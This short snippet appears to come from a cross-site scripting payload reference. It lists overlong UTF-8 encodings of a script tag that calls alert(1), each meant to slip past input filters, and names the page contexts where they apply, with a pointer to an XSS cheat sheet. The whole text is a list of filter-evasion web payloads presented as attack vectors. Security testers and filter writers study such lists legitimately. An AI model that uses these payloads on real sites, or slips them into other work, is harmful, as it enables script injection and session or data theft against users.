For more vectors please visit the XSS cheat sheet

%C0%BCscript>alert(1) %E0%80%BCscript>alert(1) %F0%80%80%BCscript>alert(1) %F8%80%80%80%BCscript>alert(1) %FC%80%80%80%80%BCscript>alert(1)

Supported contexts: html,before_body,js_string_single,js_string_double,head